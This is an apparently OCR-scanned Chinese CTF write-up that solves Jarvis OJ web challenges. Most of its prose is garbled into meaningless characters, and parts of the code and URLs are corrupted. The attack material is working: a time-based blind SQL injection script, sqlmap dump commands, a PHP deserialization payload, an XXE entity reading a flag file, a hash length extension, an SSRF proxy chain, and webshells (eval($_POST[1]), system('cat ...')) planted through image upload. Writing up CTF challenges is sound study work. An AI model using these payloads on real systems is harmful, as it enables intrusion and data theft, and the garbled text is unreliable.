jarvis OJ WEB/& H writeup

weixin_30596735 F 2019-03-22 15:34:00 K A5 401 e
EIRLE: php git json

JFESCHESE:  http//www.cnblogs.conysijidowp/10573275.html

RAR

0x00Fj =

RIA—MREFHICEFE, BERRERA®R, %237 —¥HFEx—T

0x01 Port51

BHEREAS W OEHZMNE, FET, EHEFEAMKTHENEE, RXEANRMBRSRSSHREZT
), AHHFANREREIEFRS R, FAAAE it AMRE RS HFHEE, FANLRBERSERRD, X4
i D EAEAR S 251

curl --local-port 51 http://web.jarvisoj.com:32770/

@sijidou 1# curl --'lo::;'l-;:u:]rt 51 http://web.jarvisoj.com:32770/

E html>

<h3>Yeah!! Here's your flag:PCTF{M45t3r_oF CuRl}</h3>

[ @sijidou 1# 1

0x02 LOCALHOST
& B 2~ E Hlocalhost £ Vi i, BJH CHipZ&£&127.0.0.1
ip AT 32 B 24 Sk 3 — A R x-forwarded-for, —A~&client-ip

iX B R x-forwarded-forgit fe £y 3 5:127.0.0.1

LR FRA R RS SERVER[remote_addr3E 4 s nizth3E T


https://blog.csdn.net/weixin_30596735
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=git&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=json&t=blog&o=vip&s=&l=&f=&viparticle=
http://www.cnblogs.com/sijidou/p/10573275.html
https://www.jarvisoj.com

0x03 Login
NIFF a5 R sqliEN, ERfuzth B A HNSR, FHERIIEE LA hint
“5 T sqliEf), md5($value, true)fimd5($value)E 4 X 50

md5($value, true)  REIFIRS$valueiHiTmdSRAI320r163#IKI, 24 163 #IH & RN FR S
md5($value) RE R R $valuedtiTmdSINZ 324N 16 B F/F, BREM T md($value, false)

Raw | Headers | Hex

HTTP/1.1 200 OK
Date: Thu, 21 Mar 2019 09:30:18 GMT
Server: Apache/2.4.18 (Unix) OpenSSLA.0.2h PHP/AS.E.21 mod_perl2.0.8-dev Perli5.16.3
-Powered-Fy PHP/S £ 21
| Hint: "select * fram “admin® where password=".md5(§pass true)
Content-Length: 143
Connection: close
Content-Type: text/html; charset=UTF-8

Tl

Wrong Password.
<form action="/" method="post">
password: <input type="text" name="pass" />
<input type="submit" valus="submit" />
<fform>

X B R ARKEI2N M hashs FHFEER T, EWE T B A Kwriteup7 %1iE B A ffifdyop md5ina 5 =R/ A~
'or'6x0000 X FPHE R, 6x000aX FhHE RA L0, AR E

B X B i A ffifdyop

36 (KHTML, like Gacko)

i application/cmG=0.9 jmage/vebp,image/apng.* ¢=0.8
7

0x04 # & J5 i B 2%
—R—k KERFIETREAET, BARE LR DA BERLFEIRD
WA CAZERBBEAS, HUTH fn_Lview-source:

C @ FZ£ | view-source:web.jarvisoj.com:32768

H WA W SE—TF, EEE G Google () mEmmE( - 9o (&)

1 <img sre="showime. php?img=c?hpZ¥xklopwZw==""width="100%"/>
2

RIUMgHI 45 R R base644itd Ja i, X BRI a2~ B #SCH4



c2hpZWxkLmpwiw==

shield_jpg

BRA1REF Findex. phpHIAR Y

C  © F&2| view-sourceweb.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
HOWA & EE-T, FRAE G Google () mmEmam( - 9o, (5 QEME ) SRUARSHEE. <

1| <7php

2 require_onse(’ shield. php’);

3 3x = new Shield();

1 isset (3 GET[ class’]) &% $g = $_CET[ class’];
5 if (lempty($g)) {

6 x = unserialize($e);

7 3

8 echo $x-rreadfile();

9

[IRUNRY

A& shield.phpfIfRi%, KIAFAFERfagEptcf.php B, HR2XAXHBIEEE A

C  ©® FZ£| view-source:web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==
HOWA % SE-T, 4508 G Google () MIEMIE(°- %o, (6 Qi ) REUERSHE. O ==l

1| <7hp

2 //flag is in pctf.php

3 class Shield {

4 public $file;

5 function _construct(§filename = ') {
6 Jthis > file = §filename;

7
s

9 function readfile() {

10 if (lempty($this->file) &k stripos(fthis->file,’..’ )===FALSE

" 8 stripos(§this->file,’”/)===FALSE && stripos(§this->tile,”\\')==FALSE) {
2 return @file_get_contents (§this->file);

13

14 1

15 1

16| 2>

& showimg.phpf A%, &I K EH Hshowimg.phpR iz B pctf.php

<« C  ©® FZ= | view-source:webjarvisoj.com:32768/showimg.php?img=c2hvd2itZy5waHA=
WA & EE-F (RAIE G Google () maEMME (- )o.. @ QEME () EENARSSHE. O =t

1| <Tphp

2 § = §.GET( ime’]:
3 if Cempty(§£)) (
4 $£ = basebd_decod
5

6

7

s

===FALSE && stripos(§f,” /" )===FALSE && stripos($f, \\")===FALSE

if (stripos(§t,’..

&& stripos(3f, petf’)===FALSE) {
readfile($1);
] etse {
9 echo “File not found!”:
10
i }
127

SRIGRE T RSB, X B RFH E S Shield.php H1Shieldk & FEFIERZ . SR)E FIFindex. phpR 5 51
XA KA, K%K filenamets Apctf.php

B I HIAES



<?php
class Shield {
public $file;
function __ construct($filename
$this -> file = $filename;

function readfile() {
if (lempty($this->file) &&
&& stripos($this->file,'/")

="' A

stripos($this->file,".."')===FALSE
===FALSE && stripos($this->file, '\\"')==FALSE) {

return @file_get contents($this->file);

}
$a = new Shield('pctf.php');
echo serialize($a);

?>

EN51

0:6:"Shield":1:{s:4:"file";s:8:"

B FEFIGE R B4 NindexiiclassS %, LB B T

C  © T | view-sourcewebjarvisoj.com:32768/index phpfclass=0:6:'Shield ™ 1:(s:4 file"s8"petfphp’i |

H WA & SE-T, (U0E G Google () MOEME( - 9)o.. @ Qi () RENARSEME. O mflEHs = mEsE

1[<7php
2| [ //Ture Flag : PCTF (¥31come To_Shi3ld_secret_Arda) |
3 7Fal

4| oo

5| 2>

5| <ing src="showine, php?ine=cZiZ¥xkLnpsZu==" vidth="1008"/>

ko flag:
“FLAG: PCTF (I_dn_not_fldg}”

0x05 IN A Mess

C O A=Z£ | view-source:web.jarvisoj.com:32780/index.php?id=1

A W SE—T, fEEIE G Google (D) BEEREE (- )o.. (@) Qo %

1| <!=--index. phps-->work harder'harder'harder!

M 5index.phpsfii it index.php i) ¥ S

<« C  ©® FZ2£ | webjarvisoj.com:32780/index.phps
H WA % SE—T, #FAE G Google () BHERME (- )o.. (&) QQERE ) REVERSEE.
<Iphp

error_reporting(0);

echo "<!--index. phps=—>";

i(r(!ﬁ_cm’ id' D)
header ('Location: index.php?id=1');
exit();

}

$ia=$ _GET[ id'];

3a=§ GET['a’1;

$o=3 GET['b’1;

i(f(stripus($a,’.’))

echo " Hahahahahaha' ;
return ;

Jdata = @file_get_contents(§a,’r’)

& mE-BHE =

i1(3data=="1112 is a nice lab!” and $id==0 and strlen(§6)>5 and eregi(“111". substr($b,0, 1), “1114) and substr (3, 0, 1)!=)
{

require(“flag. txt”) ;
)

else

print “work harder!harder!harder!”;



RIEBRRIEM—K By, BEAME MG, RENSSTENT

Raw | Headers | Hex
0%001 23&a=php.//input&b=3%0041 1111 HTTP 1 T WA 1200 0K
m 32760 [ Date: Thu, 21 Mar 2013 10:10:00 GMT
0 (Windows NT 10.0; Winbd; 364: 1v65.0) Gecko/20100101 Firefox/85.0
n/xhtml+xml application/xmi:q=0.9 imagefwebp =0 8
h;g=0.8,20-TW,=0.7 2h-HI¢=0.5,8n-US;9=0.3 emi=0.2

<l-index phps->Come ONIM (AHT2mCpevOLy

a#| i php:/finput k4 posti £ 3z It {8 4 $data

idF F %00k id == 0, A 7E /T —Nif(1$_GETI['id")H i 32 5l &

bF| FH %00iA 2 B i1, F Astrsub& K %00 X N7, TMeregiaBhid %00, L E % —/ME4
BIE RO — B FRF, LN BREHNESlags, HRERAE, FT A AKwriteupsd KIS HIE. ...
TREEVIH, EHIHRTIAXNMSH, MbitRsqiEA

€ > C (@ %2 | weblanisohcom32/80SEHTImCpovOL findeoxphpdid-1

WA & EE—T, fEEE G Google () MIEMME( - Yo (&) QQEME ) RENARSHE

hi666

B _E BRI BIA



import time
import requests

s = requests.Session()
url = "http://web.jarvisoj.com:32780/*HT2mCpcvOLf/index.php?id="

#length is 7
#content
#length is 16
#flag is id,context,title
#length is 44
def getlength():
for i in range(90,100):
payloadl = "-1]||
(if(length((seleselectct(group_concat(column_name))frfromom(information_schema.columns)where(table_name=0x63
6f6e74656e74)))=" + str(i) + ",sleep(5),0))"
payload2 = "-1|]|(if(length((seleselectct(group_concat(id,context,title))frfromom(content)))=" +
str(i) + ",sleep(5),0))"
r = s.get(url + payload2)
if r.elapsed.total_seconds() > 5:
print "length is " + str(i)
break
else:
print r.elapsed.total_seconds()

def getword():
flag = ""
for i in range(1,45):
print i
for j in "abcdefghijklmnopqrsstuvwxyz1234567890!@#$%"&* ()_ABCDEFGHIJKLMNOPQRSTUVWXYZ-=+,./; ' ?:[]<>\"
{3
payloadl = "-1]||
(if(substr((seleselectct(group_concat(column_name))frfromom(information_schema.columns)where(table_name=0x63
6f6e74656e74))," + str(i) + ",1)=" + hex(ord(str(j))) + ",sleep(5),0))"
payload2 = "-1||(if(substr((seleselectct(group_concat(id,context,title))frfromom(content))," +
str(i) + ",1)=" + hex(ord(str(j))) + ",sleep(5),0))"
#print payload2
r = s.get(url + payload2)
if r.elapsed.total_seconds() > 5:
flag += str(j)

print "flag is " + flag

break

getword()

RN



is lpctf{fin4lly u goti7 cOngratu

is lpctf{fin4lly u goti7 cOngratul

is lpctf{fin4lly u goti7 cOngratula

is lpctf{fin4lly u goti7 cOngratulat

is lpctf{findlly u goti7 cOngratulati

is lpctf{findlly u goti7_cOngratulatio
is lpctf{fin4lly u goti7_cOngratulation
is lpctf{findlly u goti7 cOngratulationb

is lpctf{findlly

s lpetf{fin4lly u goti7 cOngratulation5}h

0x06 RE?

XIE R B N A M THR UMK B R I EudfSCr:, BAEZ AT 22 ST udfIRAUKI Y %, IEREBICR T TR

_goti7_cOngratulation5}

ANBATUFEFERZET BRI, XiEEFE0X02

0x07 flagfE E# A F B

FHREEHER, BFERL, HIWcookie T2NMNEERKSEH

Host: web janisoj com 32778
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; n:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html I =09 P e=0.8
AcceptLanguage: zh-CN,zhiq=0.8,zh TWiq=0.7 2h-HK; 0=0.5 6n-US;0=0.3 emig=0.2
AcceptEncoding: gzip, deflate

Connection: close

Cookie: UM_distinctid=167257291378-0c4fz668080d-4c3
PHPSESSID=Jcjdo6 1 ad cjd1 B443hujek3v6  role=s%3A5%
hsh=3a4727 d57463122833d0¢7 32094 2420
Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

Date: Thu, 21 Mar 2019 10:26:12 GMT

Server: Apache/2.4.18 (Unix) OpenSSU1.0.2h PHP/S 621 m
X-Pawered-By: PHPI5.6.21

Content-Length: 210

Connection: close

Content Type: text/html; charset=UTF-8

<IDOCTYPE htrl>

<html>

<head>

<title>Web 350</itle>

<style type="text/css">
body {

background:gray;
textalign:center;

<Istyle>
<Jhead>

<body>
<h3>Only Admin can see the flagli</h3>

</body>

</htmi>

ETHERIEN T, W& 63 bak swp .swo iBFH ~

X B #Zindex.php~

'index.php~

Jjarvisoj.com:3
e, el = 2

1ETETHF index.php~

§- LT | 5 E|Sh

SRR TTH
| | index.php~

{43R1:  php-~ File (12.0 KB)
SEIR:  httpy//web.jarvisoj.com:32778

1182 Firefox U{IyhRItEsz?
QFT5F, Bid(Q) | R=E(B)...

@ EETIHS)

LSBT ERAERNM MRS, (A)



https://www.cnblogs.com/sijidou/p/10522972.html

E#Hlinuxs Bvim-r B8 TF, RELE TR, K4 index.php &5 B vim -r .index.php B 23T 7 324 R 6
B, REENAEEH K

File Edit View Search Terminal Help
(REVhtml>

1);

<h3=0nly Admin can see the flag!!</h3>

XEMER SRR AERBLRDS, FHRIIMIE Trole s:5:"admin";i#17 &7 5146 5 Kradmin
hshifI{E & s:5:adminiX /Me i ) # tnsalt
BARBBE R4 ? https://www.freebuf.com/articles/web/69264.html

HafBoL T &Y R TR

$crypto = md5(salt . 'password')

X B EAIENE $erypto, passwordiX24ME, AREniEsaltiifE, 1B2 T mA A H b
ER$_GET['a'] != $cryptofl $_GET['b'] != 'password'
if($_GET['a'] = mds(salt . $_GET['b'])){

return "right";

}

saltit & L fsalt, afbrl#%, W BEMERRL, HE LT EsaltiEr
ERBEY BIHBMAN T EMiEsaltiE, HaEwLEER

ERXA$_GET[DHERTR, B RELIEScryptofipassword KB #h &5 & — #1454, )5 FES_GET[b]
ffE, sieett&EHS$_GET[QM1{E, B2 ZE miEsaltif K

fEkali T A hashpump, RIKEAN
$crypto (32fzhashfé)

password (_ETH BN £k 5 45 SR A0 FRED


https://www.freebuf.com/articles/web/69264.html

len(salt) (E:FKE)

text (I ARFRF) (RAVAEZEHIKED
~HER$_GET[aTihashE iR #EtextR 2 $_GET[b']
ERXEANMESENKE. « o o o o o

X BB 2 HApythonli A S H B, XEA R FEFEZjarvisOJ WEBHI @writeup, %303 18 A
fihash_extender T B, Flhashdump#& H i—FEH

https://skysec.top/2017/08/16/jarvisoj-
web/#flag%E5%9C%A8%E7 % AEY%A1%ET7 %90%86%E5%91%98%E6%89%8B%EQ%87%8C

ZTREEARIIN, FRZH4HEhashdump,RIFFiEIRElen(salt) B f# fis:5:"admin" & E T, FREEMAME
WFETF, TRBEFT ...

REIENEPERE—T, FHFEX00ZUH %00

s:5:"admin"%3b%00%007%007%00%00%007%007%c0%00%007%00700%00%007%00700%00%007%00700%00%007%00700%00%007%00700%00%00%007%
007%007%007%00%007%007%00%00%80s :5: "guest"%3b

fcdc3840332555511c4e4323f6decbd?

¥ Hi N\ Blcookiest B2+, FKiSflag, EETFFILK " fEcookie™ & E iDL %3b

<<<<<<<

AKX BN ABBEM T X AL AR, EREW RIS 0T #2514

$role == 'admin'

R NIXIE IS ER H T unserialize R #1T R FHIML, ESERIIMER ZERANEESR
WHLR s:5:"admin"; 000 (00X EF T )
MBEARARPRFINT , XEEIXIEER AR ESrole == 'admin'%&4: T

0x08 Chopper

WIFIEE 25 BB R T B R B3R, B E R A U i) /admin/ B RR


https://skysec.top/2017/08/16/jarvisoj-web/#flag%25E5%259C%25A8%25E7%25AE%25A1%25E7%2590%2586%25E5%2591%2598%25E6%2589%258B%25E9%2587%258C

Connection: close
9186; Content-Type: text/html

<IDOCTYPE HTML PUBLIC "#IETRYDTD HTML 2.0/EN">
<html=<head>

<title>403 Forbidden</title>

</head=<hody=

<h1=Forbidden</h1>

<p=You don't have permission to access /admin/

on this server.</p=>

<script>alert('you are not admin!)</script>
<:.I'——<:54:.".{.::-t>a."e.'1{ ‘admin p is 202.5.19.128)</scrpt=-->
</body=</html>

HRGH TEHERNIP, RNMAMIpRET T, RMENTE, HE2ZEDwebiksa£2ITER

= C @ ® 202519.128

@ SZFABEE Googl. [BEE—F, (EAE § BE|EHS sjidou-BEE  KIEA

K i

E\kipia!
EFADHRAERNES, XEOTSEI RN S AT NS,
MBS\ NXE—MESEER, B ARILERS,

Error 403

202.5.19.128
Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/7.3.0 mod perl/2.0.8-dev Perl/v5.16.3

XEEEE L, &7 TEG, KARITTHE R KMBRER T ZREmnE

<title>ISCC 2016</title>
<div class="container”>
<img src="proxy.php?url=http://dn. jarvisoj. com/static/images/proxy. jpg” alt="">

<p><a href="admin”>{F L b £ 3% </a></p>
</div>
</head>
<body>

</body>
</html>

M2 BAEERRZAurE TR EE RAIpMSE, MZ 8T BV R K403F X 5], KX T A indexaC 441 &

< C ® G jarvisoj.com:

& STPARE Googl.. PREE—T, 4OHDE § EE|MHR  sijidou-BEE  AEHIPSecbug iE. ALK

Object not found!

The requested URL was not found on this server. If you entered the URL manually please check your spelling and t

If you think this is a server error, please contact the webmaster.
Error 404

web jarvisoj.com
Apache/2.4.18 (Unix) OpenSSL/1.0.2h PHP/5.6.21 mod_perl/2.0.8-dev Peri/v5.16.3

& O=sx Oswe OBEE (aeEs Cue OnE = RE S&E « TEsHRE @ Hakea

Encryption v Encoding~ SQL ~ XSS~ Other v Chrome BackBar

@ Load URL web jarvisoj.com:32782/proxy.php?url=http://202.5.19.128

‘D‘,’Q Split URL

‘ » Execute ‘

[ Postdata [J Referrer [] User Agent [J Cookies

IATEJG S5 B H 5IR S5 2 BEAT RS 2 o R B X AFAE — N proxy.php X, 4R 5 Bk 2 Bl IR SRk M ik
proxy.php?url=X iz a8 &S

REWHA T T, HiEEIEMS K /admin/ BT



web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/

YOU'RE CLOOSING!

R O=ss Oswae O (Owntass Cuw Owr =ME S#E T BESRS @ Hackbar

Encryption ~ Encoding ~ SQL ~ XSS~ Other ~  Chrome BackBar

@ Load URL web.jarvisoj /proxy.php 5.19, p:/web.jarvisoj.

§ seURL

BETRXAMAZR, FABT JLBMESIEE 154818, (BET3£H 1 robots.txt
- - - — |

User—agent: #

Disallow:trojan. php

Disallow:trojan. php. txt

trojan.php.txt2 5 I 1 SRS, WA

php {7 717) (A7) = (1) (O ) (D)L (T () () s (R )L (TR ) PR (T (T () () (e AT ().
377y TR (CETTY) L (7). (1) (1) (Te ST (MU () (71

BEON#AT REUCE, SRADAERIENY, XEEAHEE N TR, HERMKWebRSE L, A HRERNER
[T

® Googl.. PR EE—T, {fosliE § & |®HE  sjidou- &M  ALEEIS? Seebug i SeAER [i%8K] -

(!)

Call Stack
# [Time Memory [Function Location
1 0.2095 136808|(main)() ..\hacker.php:0
2 0.2352 137264|assert () _.\hacker.php:1
3 0.2367 137944|assert() ..\hacker.php:1

Call Stack
# |Time Memory [Function Location
1 0.2095 136808|(main}() ..\hacker.php:0
2 0.2352 137264lﬁrt () ..\hacker.php:1

&JE MM JE 1 %Hkflag

->|./ 2015-10-11 13:37:08 4096 0755 ../ 2016-01-27 21:41:49 4096 0755 flad:CTF(fl4g_1s_my_c40d40_1s_nOt_yOurs} R014-0¢
trojan.php.bak 2014-09-12 19:37:25 19753 0644 trojan.php 2014-09-12 19:37:25 19753 0644 flag jpg 2014-09-12 19:37:25

R D=8 Dess DEtE (RtmEs Cue Ows = ME O &% ¢ ZEERE @ Haksar
Encrypion +  Encoding ~ SQL ~ XSS+ Other v  Chrome BackBar

@ Load URL Web.jarviso. 5.19.1 jarvisoj php

§ soitURL

) Execut
e Postdata [ Referrer [J User Agent [ Cookies

360=system("ls");

0x09 Easy Gallery

RarsubmitflviewI I & B, urlGE T MSH, FHUAREXHEE, BES AR Riwamning



jarvisoj.com

B == T, feunE ¢ B| ' sijidou - IB=H

ISCC Home Submit  View

Warning: fopen(index.php.php): failed to open stream: No suc
No such file!

15 2 FfopeniE T X R & 1Y, 1X BLAE 5 %008 T, H 2 A eV Idindex.php

Mo BEERIERBBHAZE A5, REEEXMER, FHH%00ENW, BIUEMEK.php, XEANGEEEEL
jpgt% A &h R HIphpfUrS, fhitEiE 7 k&AL Z AR EA B A

e, EEAXREN E—fERD

~Up S Tl 00+ ¥ 5Wi/5000 Content-1ype: textihtml; charset:
i & D9SVRRIZ OO M ITO)O > 5 ;PR O UER

<html lang="zh-CN">
FE00Kxm-0500 SE-++D#L I PwiO & g <head>
\DZ(000@000@000@000@000@000@000@000@000@000@000@ <meta charsst="ui£8">
@000@000@000@000@00 N i F 400" DKM # FIED 95 Gof k5 B vID: 1553168238 </html>

D' 20)0/%Z5_QM O AD04= (5000607 " +F0 gk
£E04060"U?PP0 Qlna?0U0%S |
10X0/7P0~000eMO%M0 MHOPOUM Dt E8@0 @AW (S 1hD fik_PH g

#winoE: 0
ISH(((eqn B #Oh0%?0
M0 [@iEC BC U0 #O0CLenD % Rl

E0=Y%04ROO[D

L OHE A KO0 OO0 (hifh Y 51715 kOO 0MORES BRI RE 5 ciXE:s
o400

Of0gh

OeffGRODEHIADD Y]k 1% F g0 $0 #d0 (0 QE0QE0QEOQEOQEDQE
0QE000D<script language="php">@eval(§_POST[1]); </script>
13977230631673

form-data; name="Submit"

&5 <?php eval($_POST[1])?>FH RGeS, AEENT4, BHE T HAKwriteup 5 v G /5 & A5
<?php AwafT, XN 4index.php /S EEA & k% 1 R H

#idsubmit Ef%, EidviewHTEFE S, REEFIRLIRNEF KA E

view-source:http://web.jarvisoj.com:32785/show.php?id=1553168238&type=jpg

C o ew-source:http://web.jarvisoj.com:32785/show.php?id=1553168238&type=jpg

% Googl.. PREE—T, (RAMIE § BT |&EEm  sjidou-8EE  KIESIS Seebug ...

(61 -3 up] oads/1553168238. jpgiied

REHTEE, BTRDEREREERT, PTHERT

@ Iweb jarvisoj.com:32785/index.php?page=uploads/1553168238.jpg%00

B ST, fRins ¢ =TSN sijidou-f$EE  HHEAIS Seebug ..

ISCC Home  Submit  View

CTF{uplOad_shOuld_n07_b3_a110wed}



0x10 Simple Injection
NI 2R B F AR, RIBR B P A A, IF B R sE it ([H RSP IT[EAR]E B s, gt ""

=> m

Please sign in

1" or'1'="

EROHER

Please sign in

1" or'1'="2
soe
BREER

XEEHBEMsqmapiEA T, EIERLICT R, FAHER, FHitlevelRE & s, FIHZ#KKbypassiitamper

sqlmap -r 3.txt --technique T --level 3 --tamper=space2comment

Parameter: #1* ((custom) POST)
Type: AND/OR time-b blind
Title: MysSQL >= 5 AND time-based blind (query SLEEP)
Payload: username=' AND (SELECT * FROM (SELECT(SLEEP(5)))faff) AND 'CwPg'="CWPg&password=123

[ 1 [we 'NG] changes made by tampering scripts are not included in shown payload content(s)
[ ] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.6.21, Apache 2.4.18

back-end DBMS: MySC 5.0.12

[ 1 I ] fetched data logged to text files under '/ : utput/web. jarvisoj.com'

[*] ending @ 07:53:37 /2019-03-21/

&% [¥jpayload

sqlmap -r 3.txt --technique T --level 3 --tamper=space2comment -D injection -T admin --dump



o
[+

334cfb59c9d74849801d5acdcfdaadc3

md5

eTAloCreP

B3R Bflag
Please sign in
Username

Password

flag:CTF{s1mpl3_1nJ3ction_very easy!!}

Signin

0x11 apii H
A RAEHjson

request Kesponse

Raw | Params | Headers | Hex Raw | Headers | Hex
POST fapifl ftry HTTP/T 1 L HTTPA.0 201 CREATED
Host: web.jarvisoj. com:3882 I Content-Type: applicationfjson
User-Agent: Mozillals 0 (Windows NT 10.0; WinG4; x64; 85 0) Gecks/20100101 Content-Length: 86
Firefox/65.0 Sener: Werkzeugil. 9.4 Python2.7.6
Accept: ** Date: Thu, 21 Mar 2013 14:13-21 GMT

Accept-Language: zh-CN zh;q=0.8,2h-TW,q=0.7 zh-HI; g=0.5,en-US; 4=0.3,en,4=0.2
Accept-Encading: gzip, deflate {

Referer: hitp:ffweb. janviso). com: 9882/ "task”: {
Content-Typs: applicationfjson *done” false,
Content-Length: 36 *search’; "type sthl’,
Connaction: closs “valug" *own"
Cookis )
UM_distinctid=167357291373-0c HeB68dBM0d- 431267 -1 44000-167 5729139186, }

PHPSESSID=Scjdob1q4cjd1r8443hujek3vb; role=s%3A5%3A%22quest%22%36;
hsh=3a4727d&7 4631 22833 d9e732f34e4e0

{*ssarch’ "type sthl” "value""own’}

BT TREEZFMAHTajax, FNZHTRKMEEIERUMER (EiHHGEREZEEXERR) , XEEER
jsontaixml,  FHF| H xxeisk B flag

230 3L i) Content-Type i Napplication/xml

T HF FHxxe



Request Response

Raw | Headers | Hex | XML

POST /apifvl.Oftry HTTP/1.1 & HTPA0200 0K
Host: web.janis. com:9682 Cantent-Type: text/htm}; charset=utfd
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; xB4; v65.0) Gecko/20100101 Content-Length: 44
Firefox/55.0 Sener. Werkzeugi0.9.4 Python/2.7.6
Accept. ' Date: Thu, 21 Mar 2019 14:21:32 GMT
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HK; q=0.5 en-US;q=03,en;q=0.2
Accept-Encoding: gzip, defiate <r00t>CTF{XxE_15_n0T_S7range_Enough}
Referer. hitp:/fweh janisoj.com 9862/ <Iroot>
Content-Type: application/xml
Content-Length: 122
Col t1 lose.
_distinctid=167357291379-0c4=B68dB0d-4c31 267 -144000-167 25729139186,
PHPSESSID=9¢jdo6 1q4cj418443hujek3v6; role=s %3A5%3A%22guest%22%38;
hsh=3a4727 457 46311 22833d9e7 32942420
<Pl version="1.0" 7>
<IDOCTYPE root [
<IENTITY payload SYSTEM “fle:/ihome/ctiflag txt">
>
<roat>Epayload; </root>
)
0x12 B f B2 IR
N

SR EZF, KItest.php

as o meam e T L mus: U1 L Jar: 1903y L Fomaii

$34R(E S : http: //web. jarviso]. com:32790/Adnin_guest_del. php AEEgE: 10 FHHEE : 3243

m HTTRARIGE

1 http:/fw 200

2 http://w 200

3 http ion=upfile 200

4 http://web. j 200

FTFF & phpinfo, B e & Z X4 LERBRAEZ RNEE, FHREAHKRE T writeupZ B Zimagick 1 CVEJR TR
http://www.zerokeeper.com/vul-analysis/ImageMagick-CVE-2016-3714.html
BEEEEIRT, ZEXEEHR, X BT A AKwriteup, BARSEA BT & 3 HI png ST i 1] &

https://skysec.top/2017/08/16/jarvisoj-
web/#%E5%9BY%BE%ET7%89%87 %E4%B8%8A%E4%BC%A0%E6%BC%8F %E6%B4%9E

WL/ H uploads B % F A x.php, 3t HEEiER, “fFI1x N #flag

CTF{873dfee87823248f4a1657650204697a}

x OEss OEfas OBREE (rtEEs Qe 4msE = e 8 &F

Encryption ~ Encoding~ SQL~ XSS~ Other~ Chrome BackBar

@@ Load URL http://web jarvisoj.com:32790/uploads/x.php
gg Split URL

Execut
) Execute Postdata [] Referrer [ User Agent [] Cookies

x=system("cat /home/ctf/flag.txt ");

0x13 PHPINFO
KB AR Z WIS I phpRFFILHIRHEL HEIB R, ZHTE4 T THRKMR

B HETE0X01: https://www.cnblogs.com/sijidou/p/10455646.html

0x14 WEB?
FEBI, RIFARformBHALRE G AEK, TRELSHKREIUER


http://www.zerokeeper.com/vul-analysis/ImageMagick-CVE-2016-3714.html
https://skysec.top/2017/08/16/jarvisoj-web/#%25E5%259B%25BE%25E7%2589%2587%25E4%25B8%258A%25E4%25BC%25A0%25E6%25BC%258F%25E6%25B4%259E
https://www.cnblogs.com/sijidou/p/10455646.html

{!—— This script adds the Roboto font to our project. For more detail go to this site: htt;
{script>
var WebFontConfig = {
google: { families: [ ’Roboto:400,300,500:1atin’ 1 }

H
(function() {
var wf = document. createElement (" seript’):
wf.src = wf.src = ("https:” == document. location. protocol ? "https’ : ’http’) +
*://cdn. bootcss. com/webfont/1. 6. 26/webfontloader. js ;
wf. type = ' text/javascript’ ;
wf.async =~ true’ ;
var s = document. getElementsByTagName (' script’) [0];
s. parentNode. insertBefore (wf, s);
HO:
</script>
¢script sre="//cdn. bootcss. con/ jquery/1. 12. 4/ jquery. min. js”></script>
(seript sre="app. js"></seript>
</body>
</html>

T Frapp.js, H = BljsTEISHEAR M s LIRS HE TR, —B2WITRE, HEXANEEANdT, password <+

E T XA passwordE A EHEEF REENAFE AN, BRM<dvid="app">m&it %K, FEHEFI2HEES
BE

Ml ATFARES Googl.. P EE—T, (OULE § ST WK siidou - @FE  AIEAS Seebug .|

® O=E% DEHa O@EtE ((aiaEs @uE QrRE =RE 8 i + %
+

<!DOCTYPE html>
<html lang-"en"> (event

< = >
<body>
<div id-"app”>
<div data-reactroot-"" style-"margin: 1@px;"»

<l--react-empty: 2-->

<div style="font-size: 16px; line-height: 24px; width: 256px; height: 48.transition: height 2eem:
<div style="position: absolute; opacity: 1; color: rgba(@, @, @, 8.3); t. all 4sems cubic-bezie
Password</

tyle="padding: epx; position: relative; width: 10e%

e;
(e - r)._checkpas

uchTap 0 <

X— BT E A R AEREAHR, T4 ERFBAIAEREC, AANERFFA

FEREAFEREB = EREC, RIEFA, FIRXEREEMAHRLRE, RMERALEHEXMEEARFIE
I EpythonF &

scipyflinalg et £ AR B AE B — AN BE A SR A T Hpip %2 T



pip install scipy

B e N BRI 7 ik

from scipy import linalg

RAEERIT SRR, & EHEInumpy
numpy.array()3k 5 & 56 ff
Bt CAEL In#numpy &

import numpy

R EIBTHEMAYEMB = [C
CAGEREBAIEREC, RAEFEA, 08 A IE W BIERIFIE T
Fr LB A B #isolve

A = linalg.solve(B,C)

EETSHME, WREE, FAERERTA—ERL
BB HKrRHEEC, o2 [EB

& Ja fexp



from scipy import linalg
import numpy

r = numpy.array([325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725,
267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491,
351259])

o = numpy.array([[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196,
194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149,
83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189,
107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174,
236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194,
200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143,
77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38,
108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235,
